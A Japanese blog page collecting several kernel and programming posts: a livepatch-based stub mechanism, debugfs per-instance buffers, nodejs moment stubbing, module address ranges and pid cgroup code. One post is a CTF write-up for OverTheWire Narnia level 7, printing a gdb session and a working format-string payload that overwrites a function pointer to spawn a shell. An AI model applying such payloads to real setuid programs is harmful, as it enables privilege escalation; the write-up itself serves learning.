Linuxカーネルのライブパッチを使ってテスト用のstubを作る

この記事はLinux Advent Calendar 2016の1日目の記事です。 テストする時にstubって便利ですよね。最近はnodejsで仕事のコードを書いているのでsinon便利だなとか思ってます。じゃあ、Linuxカーネルでもstub作れたら便利だよねという思うわけです。そうすると、我々にはlivepatchという機能があります。 というわけで、Linuxカーネルのlivepatchを使ってstubを作れるようにしてみようと思ったのが今回の記事のネタです。

今回のコードはLinux 4.9.0-rc4で動かしています。 stub機能の前提としてlivepacthを使うのでstubのコードはlivepatch方式でカーネルモジュールとして作成します。どんな関数をどのようにstubするかはカーネルモジュールで決めるので、ここは使う人の自由となります。カーネル側はstubをするための機能を実装する形です。

差分はこのようになってます。bc33b0〜はLinux 4.9-rc4をリリースした時のコミットです。

masami@kerntest:~/linux-kernel (kstub=)$ git diff --stat bc33b0ca11e3df467777a4fa7639ba488c9d4911
 arch/s390/include/asm/livepatch.h |   5 ++++
 arch/x86/include/asm/livepatch.h  |   5 ++++
 include/linux/kstub.h             |  59 +++++++++++++++++++++++++++++++++++++++
 include/linux/livepatch.h         |   1 +
 init/main.c                       |   3 ++
 kernel/livepatch/core.c           |  20 +++++++++++++-
 lib/Kconfig.debug                 |   7 +++++
 lib/Makefile                      |   1 +
 lib/kstub.c                       | 261 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 samples/kstub/Makefile            |  17 ++++++++++++
 samples/kstub/kstub_test.c        |  74 +++++++++++++++++++++++++++++++++++++++++++++++++
 11 files changed, 452 insertions(+), 1 deletion(-)

この差分の内訳としては、stub機能を実現するためのコードがだいたいlib/にあり、stubする・しないを判定する処理を付けたかったのでlivepatch側にそれの対応を入れています。あとsample/にサンプルコードを置いてます。

stubする・しないの判定は以前に書いたlinux kernelのlivepatchにライブパッチを適用する・しないの判断機能を入れて遊ぶ - φ(・・*)ゞ ウーン カーネルとか弄ったりのメモからの流用です。

sampleディレクトリのコードをビルドして、例えばmoreコマンドの時にstubを適用するとこのようになります。

masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ sudo insmod ./kstub_test.ko target_name=more
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ cat /proc/version
Linux version 4.9.0-rc4-kstub+ (masami@kerntest) (gcc version 6.2.1 20160830 (GCC) ) #144 SMP Sat Nov 19 12:42:38 JST 2016
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ more /proc/version
linux version
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.9.0-rc4-kstub+ root=UUID=538fe610-066c-4939-9d33-18a80f7a28a0 rw quiet console=tty0 console=ttyS0,115200n8 crashkernel=128M
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ more /proc/cmdline
hello, world
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$

サンプルコードはこのようなコードです。stubの処理はlivepatchをラップしているのでlivepatchを直接使うよりはコードが短くなってると思います。

#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kstub.h>
#include <linux/seq_file.h>
#include <linux/string.h>
#include <linux/sched.h>

MODULE_DESCRIPTION("kstub test module");
MODULE_AUTHOR("masami256");
MODULE_LICENSE("GPL");

static char *target_name = NULL;
module_param(target_name, charp, S_IRUGO);
MODULE_PARM_DESC(target_name, "Target process name");

static struct kstub *kstub;

static int kstub_cmdline_proc_show(struct seq_file *m, void *v)
{
        seq_printf(m, "hello, world\n");
        return 0;
}

static int kstub_version_proc_show(struct seq_file *m, void *v)
{
        seq_printf(m, "linux version\n");
        return 0;
}

static bool kstub_need_patch_apply(void)
{
        return !strcmp(current->comm, target_name);
}

static struct kstub_stub_data stubs[] = {
        {
                .func_name = "cmdline_proc_show",
                .stub_func = kstub_cmdline_proc_show,
        },
        {
                .func_name = "version_proc_show",
                .stub_func = kstub_version_proc_show,
        },
        {}
};

static int kstub_test_init(void)
{
        if (!target_name) {
                pr_info("target name is required\n");
                return -EINVAL;
        }

        kstub = KSTUB_CREATE();
        if (IS_ERR(kstub))
                goto out;

        return kstub->ops.setup_stub(kstub, stubs, kstub_need_patch_apply);

out:
        return PTR_ERR(kstub);
}

static void kstub_test_cleanup(void)
{
        pr_info("%s\n", __func__);
}

module_init(kstub_test_init);
module_exit(kstub_test_cleanup);
MODULE_INFO(livepatch, "Y");

stub機能でstub(livepatchでパッチしてる関数)はdebugfsで見れるようにしています。start_kernel()で/sys/kernel/debugにkstubディレクトリを作成し、stub機能でstubをセットアップする時にカーネルモジュール名のディレクトリを作ってstubsというファイルでstubしている関数名を読めるようにしています。

[root@kerntest kstub]# cat /sys/kernel/debug/kstub/kstub_test/stubs
cmdline_proc_show
version_proc_show
[root@kerntest kstub]#

コードはgithubにあります。

github.com

差分はこちらからも見れます。

Comparing torvalds:master...masami256:kstub · torvalds/linux · GitHub

TODOとしてはエラー処理が適当を修正したいとか、stubをenable/disable切り替えたいとかありあす。

現段階での最新になる4.9.0-rc7でも動きます。

masami@kerntest:~/linux-kernel/samples/kstub (kstub>)$ cat /proc/version
Linux version 4.9.0-rc7-kstub+ (masami@kerntest) (gcc version 6.2.1 20160830 (GCC) ) #145 SMP Thu Dec 1 00:16:51 JST 2016
masami@kerntest:~/linux-kernel/samples/kstub (kstub>)$ more /proc/version
linux version

Happy Hacking 🍣🍣🍣

format string attackめも

最近CTFとか興味出てきたので色々と遊んでます。 今回はOverTheWire: Narniaのレベル7の問題(narnia7.c)を元にformat string attackのメモです。

narnia7の脆弱性のある関数はこれです。formatはmain関数においてはargv[1]で参照されていたもので、ユーザーからの入力がそのままsnprintf(3)に渡ります。

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

この問題はポインタ変数ptrfが最初はgoodfunction関数のアドレスを指しているので、hackedfunction関数のアドレスに書き換えると解決になります。hackedfunction関数はなかでsystem("/bin/sh")を実行するので、次の問題が書かれているパスワードファイルを読めるようになります。narnia7バイナリの所有者はnarnia8でパーミッションが4755なのでshellが立ち上がれば見れるって感じです。

32bitのバイナリを動かす環境があれば手元でも動かせられるので、仮想環境のarch linuxをmultilib有効にしてそこで試してます。もちろん、最後はoverthewireのサーバで実行してますが。コンパイルオプションには-fno-stack-protectorを付けてます。あとカーネルのASLRもオフにしてます。

まず、普通に実行するとこんな結果になります。書き換えるべきポインタのアドレスも表示してくれます。

masami@aur-dev:~$ ./narnia7 AAAA
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9fc)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
masami@aur-dev:~$

これをgdbで動かします。まずvulnの終了前にブレークポイントを張ります。

masami@aur-dev:~$ gdb ./narnia7
Reading symbols from ./narnia7...(no debugging symbols found)...done.
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x080485db <+0>:     push   %ebp
   0x080485dc <+1>:     mov    %esp,%ebp
   0x080485de <+3>:     sub    $0x98,%esp
   0x080485e4 <+9>:     sub    $0x4,%esp
   0x080485e7 <+12>:    push   $0x80
   0x080485ec <+17>:    push   $0x0
   0x080485ee <+19>:    lea    -0x88(%ebp),%eax
   0x080485f4 <+25>:    push   %eax
   0x080485f5 <+26>:    call   0x80484b0 <memset@plt>
   0x080485fa <+31>:    add    $0x10,%esp
   0x080485fd <+34>:    sub    $0x8,%esp
   0x08048600 <+37>:    push   $0x80486f5
   0x08048605 <+42>:    push   $0x80487f0
   0x0804860a <+47>:    call   0x8048430 <printf@plt>
   0x0804860f <+52>:    add    $0x10,%esp
   0x08048612 <+55>:    sub    $0x8,%esp
   0x08048615 <+58>:    push   $0x8048723
   0x0804861a <+63>:    push   $0x8048805
   0x0804861f <+68>:    call   0x8048430 <printf@plt>
   0x08048624 <+73>:    add    $0x10,%esp
   0x08048627 <+76>:    movl   $0x80486f5,-0x8c(%ebp)
   0x08048631 <+86>:    mov    -0x8c(%ebp),%eax
   0x08048637 <+92>:    sub    $0x4,%esp
   0x0804863a <+95>:    lea    -0x8c(%ebp),%edx
   0x08048640 <+101>:   push   %edx
   0x08048641 <+102>:   push   %eax
   0x08048642 <+103>:   push   $0x804881d
   0x08048647 <+108>:   call   0x8048430 <printf@plt>
   0x0804864c <+113>:   add    $0x10,%esp
   0x0804864f <+116>:   sub    $0xc,%esp
   0x08048652 <+119>:   push   $0x8048838
   0x08048657 <+124>:   call   0x8048460 <puts@plt>
   0x0804865c <+129>:   add    $0x10,%esp
   0x0804865f <+132>:   sub    $0xc,%esp
   0x08048662 <+135>:   push   $0x2
   0x08048664 <+137>:   call   0x8048450 <sleep@plt>
   0x08048669 <+142>:   add    $0x10,%esp
   0x0804866c <+145>:   movl   $0x80486f5,-0x8c(%ebp)
   0x08048676 <+155>:   sub    $0x4,%esp
   0x08048679 <+158>:   pushl  0x8(%ebp)
   0x0804867c <+161>:   push   $0x80
   0x08048681 <+166>:   lea    -0x88(%ebp),%eax
   0x08048687 <+172>:   push   %eax
   0x08048688 <+173>:   call   0x80484c0 <snprintf@plt>
   0x0804868d <+178>:   add    $0x10,%esp
   0x08048690 <+181>:   mov    -0x8c(%ebp),%eax
   0x08048696 <+187>:   call   *%eax
   0x08048698 <+189>:   leave
   0x08048699 <+190>:   ret
End of assembler dump.
gdb-peda$ b *0x08048698
Breakpoint 1 at 0x8048698

そしたら実行します。

gdb-peda$ r AAAABBBB
Starting program: /home/masami/narnia7 AAAABBBB
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9cc)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
 [----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fc8850 --> 0x0
EDX: 0x0
ESI: 0x2
EDI: 0xf7fc7000 --> 0x1b4d90
EBP: 0xffffda58 --> 0xffffda78 --> 0x0
ESP: 0xffffd9c0 --> 0xffffda80 --> 0x2
EIP: 0x8048698 (<vuln+189>:     leave)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804868d <vuln+178>:        add    $0x10,%esp
   0x8048690 <vuln+181>:        mov    -0x8c(%ebp),%eax
   0x8048696 <vuln+187>:        call   *%eax
=> 0x8048698 <vuln+189>:        leave
   0x8048699 <vuln+190>:        ret
   0x804869a <main>:    lea    0x4(%esp),%ecx
   0x804869e <main+4>:  and    $0xfffffff0,%esp
   0x80486a1 <main+7>:  pushl  -0x4(%ecx)
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xffffda80 --> 0x2
0004| 0xffffd9c4 --> 0xf7fe39ab (<_dl_lookup_symbol_x+235>:     add    $0x30,%esp)
0008| 0xffffd9c8 --> 0x8048258 --> 0x55 ('U')
0012| 0xffffd9cc --> 0x80486f5 (<goodfunction>: push   %ebp)
0016| 0xffffd9d0 ("AAAABBBB")
0020| 0xffffd9d4 ("BBBB")
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048698 in vuln ()

そしてスタックの内容を表示します。

gdb-peda$ x/100x $esp-100
0xffffd95c:     0xf7fc5940      0xf7fc7d40      0xf7fc7000      0xffffd998
0xffffd96c:     0xf7e70734      0xf7fc7d40      0x00000000      0x00000002
0xffffd97c:     0xf7fc7000      0xffffd9b8      0xf7feee40      0xf7e706eb
0xffffd98c:     0x00000000      0x00000002      0xf7fc7000      0xffffd9b8
0xffffd99c:     0x08048719      0xf7fc7d40      0xf7e5c056      0x00000000
0xffffd9ac:     0x0804868d      0xffffd9d0      0x00000080      0xffffda58
0xffffd9bc:     0x08048698      0xffffda80      0xf7fe39ab      0x08048258
0xffffd9cc:     0x080486f5      0x41414141      0x42424242      0x00000000
0xffffd9dc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9ec:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9fc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda0c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda1c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda3c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda4c:     0x00000000      0xffffffff      0xffffdb24      0xffffda78
0xffffda5c:     0x080486e9      0xffffdc93      0xffffdb24      0xffffdb30
0xffffda6c:     0x08048791      0xf7fc73bc      0xffffda90      0x00000000
0xffffda7c:     0xf7e2a196      0x00000002      0xf7fc7000      0x00000000
0xffffda8c:     0xf7e2a196      0x00000002      0xffffdb24      0xffffdb30
0xffffda9c:     0x00000000      0x00000000      0x00000000      0xf7fc7000
0xffffdaac:     0xf7ffdbe4      0xf7ffcfcc      0x00000000      0x00000002
0xffffdabc:     0xf7fc7000      0x00000000      0xe54c93be      0xdfbb1fae
0xffffdacc:     0x00000000      0x00000000      0x00000000      0x00000002
0xffffdadc:     0x080484e0      0x00000000      0xf7feee40      0xf7e2a0a9

0xffffd9d0のところから8バイトがbufferの内容でAAAABBBBですね。その前の0xffffd9ccはgoodfunction関数のアドレスを指してます。アドレス0xffffd9b0の内容が0xffffd9d0でbufferのアドレスを指してます。0xffffd9b0はbufferのサイズです。

で、ポインタの書き換えですがこれは%hnを使ってやります。ここの指定方法はGray Hat Hacking The Ethical Hacker's Handbook, Fourth Editionにある計算方法を使います。

f:id:masami256:20161124233630p:plain

まず、 書き込みたいポインタのアドレスは0xffffd9fcなので、[addr+2][addr]の部分はこうなります。

"\xde\xd9\xff\xff\xdc\xd9\xff\xff"

次は、最初の%hnに使うパラメータの設定で、書き込みたいアドレスはhackedfunction()のアドレスなのでHOBは0x0804、LOBは0x8723になります。そうするとHOB < LOBなのでHOB-8を行って、結果は0x7fx。10進数になおして%.2044xになります。 次は%[offset]$hnでここは、0xffffd9bcからのbufferまでのoffsetで6(words)となって%6\$hn。 次に残りの16bit分で、HOB < LOBなので、%[LOB - HOB]xだから0x7f1fで、%.32543xとなります。最後は%[offset+1]$hnだから6+1で7となって%7\$hn。 最後にこれまでの結果をまとめると、こうなります。

$(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn

で、最後にこれで実行するとshellが立ち上がりますヽ(=´▽`=)ノ

masami@aur-dev:~$ ./narnia7 $(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9dc)
I guess you want to come to the hackedfunction...
Way to go!!!!sh-4.4$S

Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition

Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition

作成したファイル(struct dentry *)の読み書き用バッファをプロセス等固有に持たせるめも

たとえば、debugfsのディレクトリとファイルをプロセス毎に作って、ファイルの中身はプロセスごとに変えたいってことをしたい場合にどうするかというメモです。

foobarという機能がdebugfsのルートディレクトリにディレクトリを作成して、piyoというプロセスはfoobar/piyo、poyoならfoobar/poyoとディレクトリができます。で、ファイルはfileという名前で固定されているけど、内容は個々に違う感じです。

/sys/kernel/debugfs/foobar --- /piyo/file
                           |-- /poyo/file

piyo/、poyo/は任意のタイミングで作成できて、foobarはstart_main()の時に初期化の関数を呼んで作るものとします。

foobar用に1つだけファイルを作成するならバッファは一つで良いのでファイルのdentryはこんな感じで作れます。

// ファイルの読み書き操作の関数設定
static struct file_operations foobar_file_fops = {
    .read = fooabr_file_read,
    .write = foobar_file_write,
};

// /sys/kernel/debugfs/foobarのdentry
static struct dentry *foobar_dir;

// fileの読み書き用バッファ
static char file_buf[64];

// どこかの関数でファイルの作成
foobar_file = debugfs_create_file("file", 0644, foobar_dir, file_buf, &foobar_file_fops);

今回やりたいのは、file_bufをstaticにしないで、プロセスとかインスタンスごとに変えるってことです。

ファイルの読み書き時にはfile構造体は受け取れます。なので、ここから固有のデータにアクセスするのが良いですね。

ssize_t foobar_file_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos);
ssize_t foobar_file_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos);

この時にfile構造体からfile_dentry()を使ってdentry構造体を取得できるんですが、ここでcontainer_ofマクロを使ってもポインタが違うので、正しいデータの取得ができません。よって、別の手段を取る必要があります。

で、ここで使えるのがinode構造体のi_private変数です。この変数にデータを入れるのってNamespacesのnsfs.cでも使ってる方法です。file構造体からinodeの取得はfile_inode()でできます。

今作りかけのやつですけど、実際に書くとこんな感じになります。

struct kstub {
    const char *old_name;
    struct module *module;

    struct klp_func funcs[2];
    struct klp_object objs[2];
    struct klp_patch patch;
    
    struct dentry *this_stub_dir;
    struct dentry *cmd_file;
    char cmd_file_buf[32];
};

static struct dentry *kstub_debugfs_dir;

static inline struct kstub *kstub_get_kstub_from_file(struct file *filp)
{
    return file_inode(filp)->i_private;
}

static ssize_t kstub_cmd_file_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos)
{
    struct kstub *kstub = kstub_get_kstub_from_file(filp);

    return simple_read_from_buffer(buf, len, ppos, kstub->cmd_file_buf, sizeof(kstub->cmd_file_buf));
}

static ssize_t kstub_cmd_file_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
{
    struct kstub *kstub = kstub_get_kstub_from_file(filp);
    int copy_len = len >= sizeof(kstub->cmd_file_buf) ? sizeof(kstub->cmd_file_buf) : len;

    memset(kstub->cmd_file_buf, 0x0, sizeof(kstub->cmd_file_buf));
    return simple_write_to_buffer(kstub->cmd_file_buf, copy_len, ppos, buf, len);
}

static struct file_operations kstub_cmd_file_fops = {
    .read = kstub_cmd_file_read,
    .write = kstub_cmd_file_write,
};

static int kstub_create_cmd_file(struct kstub *kstub) 
{
    int err = 0;

    kstub_cmd_file_fops.owner = kstub->module;
    kstub->cmd_file = debugfs_create_file(KSTUB_DEBUG_CMD_FILE, 0644, kstub->this_stub_dir, kstub->cmd_file_buf, &kstub_cmd_file_fops);
    
    err = kstub_check_debugfs_ops_result(kstub->cmd_file);
    if (err) 
        return err;

    kstub->cmd_file->d_inode->i_private = kstub;

    return err;
}

これでやりたかったことができます( ´∀`)bグッ!

[root@kerntest kstub]# tree
.
├── cmdline_proc_show
│   └── cmd
└── version_proc_show
    └── cmd

2 directories, 2 files
[root@kerntest kstub]# echo foobar > cmdline_proc_show/cmd
[root@kerntest kstub]# echo hogehoge > version_proc_show/cmd
[root@kerntest kstub]# cat cmdline_proc_show/cmd version_proc_show/cmd
foobar
hogehoge

( ´ー`)フゥー...

詳解UNIXプログラミング 第3版

詳解UNIXプログラミング 第3版

nodejsのmomentの関数をstubする

現在時刻取得のところmomentを使ってるけど、テスト書くときは固定値になって欲しいよねというところのめも。

momentを使っているクラスがこんなんだとして、

'use strict';

const moment = require('moment');

module.exports = class Foo {
        static get unixtime() {
                return moment().unix();
        }
};

stubでスタブを作る場合はstub()の第一引数にはmomentではなくてmoment.fnを渡す

'use strict';

const sinon = require('sinon');

const moment = require('moment');

const Foo = require('./foo');

const stub = sinon.stub(moment.fn, 'unix');

stub.onCall(0).returns(1475819617);
stub.onCall(1).returns(1475819617 + 10);
stub.returns(1475819617 + 20);

for (let i = 0; i < 5; i++) {
        console.log(`${i}: ${Foo.unixtime}`);
}

stub.restore();

console.log(`restored: ${Foo.unixtime}`);

実行結果

masami@arch moment_stub$ node ./test.js
0: 1475819617
1: 1475819627
2: 1475819637
3: 1475819637
4: 1475819637
restored: 1475820545

( ´ー`)フゥー...

Linuxのカーネルモジュールがロードされるアドレス範囲

カーネルモジュールがロードされるアドレスって範囲決まってたはずだけど、自分で言っといてホントそうだったけ?とか思ったので確認。

調べるのはLinux 4.8。 まず、Documentation/x86/x86_64/mm.txtを確認して、以下のところをチェック。

 22 ffffffffa0000000 - ffffffffff5fffff (=1526 MB) module mapping space

で、この範囲にロードされるよねってとこです。

それでは、モジュールがどのように配置されるのかをコードで確認してみます。まずkernel/module.cのload_module()からみます。

この関数の最初のほうでlayout_and_allocate()を実行します。

3589         /* Figure out module layout, and allocate all the memory. */
3590         mod = layout_and_allocate(info, flags);

layout_and_allocate()ではmove_module()という関数を呼びます。

3266         /* Allocate and move to the final place */
3267         err = move_module(mod, info);

そして、ここで呼び出しているmodule_alloc()が実際にアドレスを指定してモジュール用のメモリを確保するところです。

3068 static int move_module(struct module *mod, struct load_info *info)
3069 {
3070         int i;
3071         void *ptr;
3072 
3073         /* Do the allocs. */
3074         ptr = module_alloc(mod->core_layout.size);

ただ、module_alloc()はアーキテクチャ依存な関数になります。module.cにあるmodule_alloc()はweak属性が付いているのでx86_64アーキテクチャにおいてはダミーです。

2688 void * __weak module_alloc(unsigned long size)
2689 {
2690         return vmalloc_exec(size);
2691 }

x86_64でのmodule_alloc()はarch/x86/kernel/module.cにあります。

 79 void *module_alloc(unsigned long size)
 80 {
 81         void *p;
 82 
 83         if (PAGE_ALIGN(size) > MODULES_LEN)
 84                 return NULL;
 85 
 86         p = __vmalloc_node_range(size, MODULE_ALIGN,
 87                                     MODULES_VADDR + get_module_load_offset(),
 88                                     MODULES_END, GFP_KERNEL | __GFP_HIGHMEM,
 89                                     PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 90                                     __builtin_return_address(0));
 91         if (p && (kasan_module_alloc(p, size) < 0)) {
 92                 vfree(p);
 93                 return NULL;
 94         }
 95 
 96         return p;
 97 }
 98 

ここでは__vmalloc_node_range()を使ってメモリを確保しますが、この時にアドレスの範囲を指定します。__vmalloc_node_range()の3番目の引数は開始アドレス、4番目が終了アドレスです。

MODULES_VADDRとMODULES_ENDはarch/x86/include/asm/pgtable_64_types.hで定義されています。

 67 #define MODULES_VADDR    (__START_KERNEL_map + KERNEL_IMAGE_SIZE)
 68 #define MODULES_END      _AC(0xffffffffff000000, UL)

__START_KERNEL_mapとKERNEL_IMAGE_SIZEはarch/x86/include/asm/page_64_types.hで定義されています。

__START_KERNEL_mapはこうです。

 46 #define __START_KERNEL_map      _AC(0xffffffff80000000, UL)

KERNEL_IMAGE_SIZEは.configの設定次第ですが、うちはCONFIG_RANDOMIZE_BASEが有効なので60行目のほうを使います。

 59 #if defined(CONFIG_RANDOMIZE_BASE)
 60 #define KERNEL_IMAGE_SIZE       (1024 * 1024 * 1024)
 61 #else
 62 #define KERNEL_IMAGE_SIZE       (512 * 1024 * 1024)
 63 #endif

なんで、こんな感じになります。

>>> hex(int("0xffffffff80000000", 16) + (1024 * 1024 * 1024))
'0xffffffffc0000000'

ということで、カーネルモジュールは0xffffffffc0000000〜0xffffffffff000000に置かれると。

実際にこれを確認するのは/proc/modulesを見れば良いので、こんな感じのスクリプトでチェックできます。

#!/usr/bin/env python

with open('/proc/modules', 'r') as f:
    lines = f.readlines()
    for line in lines:
        data = line.split(' ')
        name = data[0]
        if (data[2] != '0'):
            addr = int(data[len(data) - 1].strip(), 16)
            if addr >= 0xffffffffc0000000 and addr < 0xffffffffff5fffff:
                print("%s:%x is in module mapping space " % (name, addr))
            else:
                print("%s:%x is not in module mapping space" % (name, addr))

stack traceとって流れを確認するならこんなsystemtapスクリプト(これくらいだとbccよりかんたんなのでこっちにしました)を動かして、適当なモジュールをinsmodすればOKです。

#!/usr/bin/env stap

probe begin {
        printf("Start\n")
}

probe kernel.function("module_alloc") {
        printf("%s\n", symfileline(addr()));
        print_backtrace()
        exit()
}

probe end {
        printf("Done\n")
}

こんな結果になります。

masami@saga:~/mod$ sudo stap -g module_alloc.stp
Start
0xffffffffa705d8e0
 0xffffffffa705d8e0 : module_alloc+0x0/0xd0 [kernel]
 0xffffffffa7106cd6 : load_module+0x1576/0x2620 [kernel] (inexact)
 0xffffffffa7204a31 : __vfs_read+0xe1/0x130 [kernel] (inexact)
 0xffffffffa720578c : vfs_read+0x11c/0x130 [kernel] (inexact)
 0xffffffffa720c238 : kernel_read_file+0x1e8/0x210 [kernel] (inexact)
 0xffffffffa720c2a9 : kernel_read_file_from_fd+0x49/0x80 [kernel] (inexact)
 0xffffffffa7107ff4 : SyS_finit_module+0xe4/0x120 [kernel] (inexact)
 0xffffffffa75dc7f2 : entry_SYSCALL_64_fastpath+0x1a/0xa4 [kernel] (inexact)
Done

ということで、一応合ってたようですε-(´∀`*)ホッ

pid cgroupのコードを読む

この記事はLinuxカーネルもくもく会 #24 - connpassで書いてます。今日は前に追加されたcgroupsのpid管理のコードを読んでみます。

ファイルはcgroup_pids.cです。Linux 4.7のコードを対象にします。

最初にデータ構造です。pidの場合はpids_cgroup構造体が使われます。この構造体はcgroup_pids.cで定義されています。

 43 struct pids_cgroup {
 44         struct cgroup_subsys_state      css;
 45 
 46         /*
 47          * Use 64-bit types so that we can safely represent "max" as
 48          * %PIDS_MAX = (%PID_MAX_LIMIT + 1).
 49          */
 50         atomic64_t                      counter;
 51         int64_t                         limit;
 52 };

構造も結構スッキリしていて、今のPID数と上限、それにcgroup_subsys_state構造体です。cgroup_subsys_state構造体から親階層のpids_cgroupを取得したりします。

pid cgroupsで定義されている操作はcgroup_subsys構造体で定義します。css_alloc/css_free, can_attach/cancel_attach, can_fork/cancel_forkはペアですね。

306 struct cgroup_subsys pids_cgrp_subsys = {
307         .css_alloc      = pids_css_alloc,
308         .css_free       = pids_css_free,
309         .can_attach     = pids_can_attach,
310         .cancel_attach  = pids_cancel_attach,
311         .can_fork       = pids_can_fork,
312         .cancel_fork    = pids_cancel_fork,
313         .free           = pids_free,
314         .legacy_cftypes = pids_files,
315         .dfl_cftypes    = pids_files,
316 };
317 

pid cgroupsのファイルとしてはこれらのファイルがあります。

291 static struct cftype pids_files[] = {
292         {
293                 .name = "max",
294                 .write = pids_max_write,
295                 .seq_show = pids_max_show,
296                 .flags = CFTYPE_NOT_ON_ROOT,
297         },
298         {
299                 .name = "current",
300                 .read_s64 = pids_current_read,
301                 .flags = CFTYPE_NOT_ON_ROOT,
302         },
303         { }     /* terminate */
304 };

maxのほうは最大値を設定するファイルで読み(pids_max_show)書き(pids_max_write)可能です。currentの方は現在の値を表示するだけなので読み込み(pids_current_read)しか設定されていません。

これらのファイルはflagsにCFTYPE_NOT_ON_ROOTが設定されているので、pid cgroupのトップディレクトリには表示されません。

[root@miko user.slice]# ls -la /sys/fs/cgroup/pids
total 0
dr-xr-xr-x  5 root root   0 Sep 16 02:36 ./
drwxr-xr-x 11 root root 260 Sep 16 02:35 ../
-rw-r--r--  1 root root   0 Sep 16 02:36 cgroup.clone_children
-rw-r--r--  1 root root   0 Sep 16 02:36 cgroup.procs
-r--r--r--  1 root root   0 Sep 16 02:36 cgroup.sane_behavior
drwxr-xr-x  2 root root   0 Sep 16 02:35 init.scope/
-rw-r--r--  1 root root   0 Sep 16 02:36 notify_on_release
-rw-r--r--  1 root root   0 Sep 16 02:36 release_agent
drwxr-xr-x 31 root root   0 Sep 16 02:35 system.slice/
-rw-r--r--  1 root root   0 Sep 16 02:36 tasks
drwxr-xr-x  3 root root   0 Sep 16 02:36 user.slice/

pid cgroupsの下の階層には存在します。pids.maxとpids.currentがそのファイルです。

[root@miko user.slice]# ls -la /sys/fs/cgroup/pids/user.slice
total 0
drwxr-xr-x 3 root root 0 Sep 16 02:36 ./
dr-xr-xr-x 5 root root 0 Sep 16 02:36 ../
-rw-r--r-- 1 root root 0 Sep 16 02:36 cgroup.clone_children
-rw-r--r-- 1 root root 0 Sep 16 02:36 cgroup.procs
-rw-r--r-- 1 root root 0 Sep 16 02:36 notify_on_release
-r--r--r-- 1 root root 0 Sep 16 02:36 pids.current
-rw-r--r-- 1 root root 0 Sep 16 02:36 pids.max
-rw-r--r-- 1 root root 0 Sep 16 02:36 tasks
drwxr-xr-x 4 root root 0 Sep 16 02:36 user-1000.slice/

ファイルの内容はこんな感じです。

[root@miko user.slice]# cat pids.max
max
[root@miko user.slice]# cat pids.current
9

では、コードを適当に読んでいきます。まずはpids_css_alloc()。新しくサブシステムが作られる時に呼ばれます。個々で作成するのはcgroup_subsys_state構造体です。実際にはpids_cgroup構造体を作って、その中のcss変数を返しています。この辺はカーネル定番のcontainer_ofマクロの出番ですね。

 64 static struct cgroup_subsys_state *
 65 pids_css_alloc(struct cgroup_subsys_state *parent)
 66 {
 67         struct pids_cgroup *pids;
 68 
 69         pids = kzalloc(sizeof(struct pids_cgroup), GFP_KERNEL);
 70         if (!pids)
 71                 return ERR_PTR(-ENOMEM);
 72 
 73         pids->limit = PIDS_MAX;
 74         atomic64_set(&pids->counter, 0);
 75         return &pids->css;
 76 }

PIDS_MAXは↓のように定義されています。

40 #define PIDS_MAX (PID_MAX_LIMIT + 1ULL)

PID_MAX_LIMITはinclude/linux/threads.hにて↓のように決まります。

 33 #define PID_MAX_LIMIT (CONFIG_BASE_SMALL ? PAGE_SIZE * 8 : \
 34         (sizeof(long) > 4 ? 4 * 1024 * 1024 : PID_MAX_DEFAULT))

limit以外は初期値0って感じになります。

pids_css_free()はpids_css_allocで作ったpids_cgroup構造体のメモリをkfree()で解放するだけです。

